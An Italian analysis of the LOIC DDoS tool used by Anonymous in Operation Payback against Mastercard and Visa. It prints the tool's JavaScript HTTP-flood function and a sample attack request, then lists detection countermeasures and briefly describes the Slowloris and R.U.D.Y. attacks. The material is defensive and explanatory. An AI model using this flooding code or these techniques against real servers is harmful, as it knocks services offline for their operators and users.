Analisi e contromisure del Tool LOIC per attacchi DDoS di Mattia Dal Ben (info: [email protected]) Chi Utilizzato dal gruppo di hacktivisti e grey hat hacker Anonymous per perpetrare attacchi DDoS nei confronti di molteplici siti. Quando Operation Payback ( Dicembre 2010 ) fu utilizzato per DDoSare i siti di •Mastercard •Visa •Postfinance (Banca Svizzera) Dati •800 PC: necessari a DDoSare Mastercard •1000 PC: per DDoSare Visa •10 GB di dati al secondo: traffico generato Conseguenze Problemi ad utilizzare carte di credito e server down per alcune ore. Descrizione: Il codice è interamente scritto in Javascript, facilmente utilizzabile da chiunque perché eseguito direttamente dal browser. Gli hacktivisti postarono il sito su molteplici server e proseguirono quindi a pubblicizzarlo sui social network. Gli utenti simpatizzanti del movimento Anonymous formarono quindi una botnet volontaria e, coordinati sempre attraverso si social network, eseguirono materialmente l’attacco. Il codice effettua delle HTTP GET (10 al secondo) di un percorso immagine randomizzato verso il server vittima che genera quindi un errore 404. La request prevede anche un campo id e msg dove viene scritta la dichiarazione di intenti dell'attacco. var shoot1 = function () { var targetURL = $('#target').val(); var msg = $('#msg').val(); var shootID = Number(new Date()); var resource = document.createElement('img'); resource.setAttribute('src',targetURL+arrayValue(targ etURL,'target')+msg+'&ID='+Number(new Date())); resource.setAttribute('onload','score_requested( '+shootID+')'); resource.setAttribute('onabort','score_requested( '+shootID+')'); resource.setAttribute('onerror','score_requested( '+shootID+')'); resource.setAttribute('id',shootID); $('#imgContainer').append(resource); score_tail(); } (JS-LOWC: HTTP request flooding) Pacchetti generati dal tool: GET /app/?id=1292337572944&msg=BOOM%2520HEADSHOT! HTTP/1.1 Host: http://www.site.com User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q= 0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Contromisure: Regole Firewall ben scritte. In rete si trovano regole ad hoc per i maggiori IDS presenti sul mercato (ad esempio SNORT). Tipicamente sfruttano il fatto che i campi id e msg sono presenti e quindi basta filtrare il traffico che richiede un grosso numero di connessioni al server avendo all’interno delle sue richieste i campi id e msg. Altrimenti è sufficiente individuare gli improvvisi picchi di traffico generati dall’attacco stesso nelle sue prime fasi. Si noti inoltre che il tool non maschera l’ip degli attaccanti rendendoli quindi facilmente rintracciabili e perseguibili. Slowloris Slowloris prova a mantenere le connessioni aperte ad un server web obiettivo e trattenerle aperte il più a lungo possibile. Fa questo, aprendo le connessioni al server web obiettivo e inviandogli richieste parziali. Periodicamente, invierà le successive intestazioni HTTP, aggiungendo ma mai completando la richiesta. I server attaccati terranno così le connessioni aperte, riempiendo il loro numero di connessioni disponibili, infine negando ulteriori tentativi di connessione dai client. R.U.D.Y. ( R-U-Dead-Yet ? ) Questo attacco ha come obiettivo le applicazioni web. Questo tool le disabilita per mezzo dell'esaurimento delle possibili sessioni. RUDY sospende le sessioni utilizzando dei POST che non finiscono mai, inviando degli header che segnalano un contenuto arbitrariamente grande.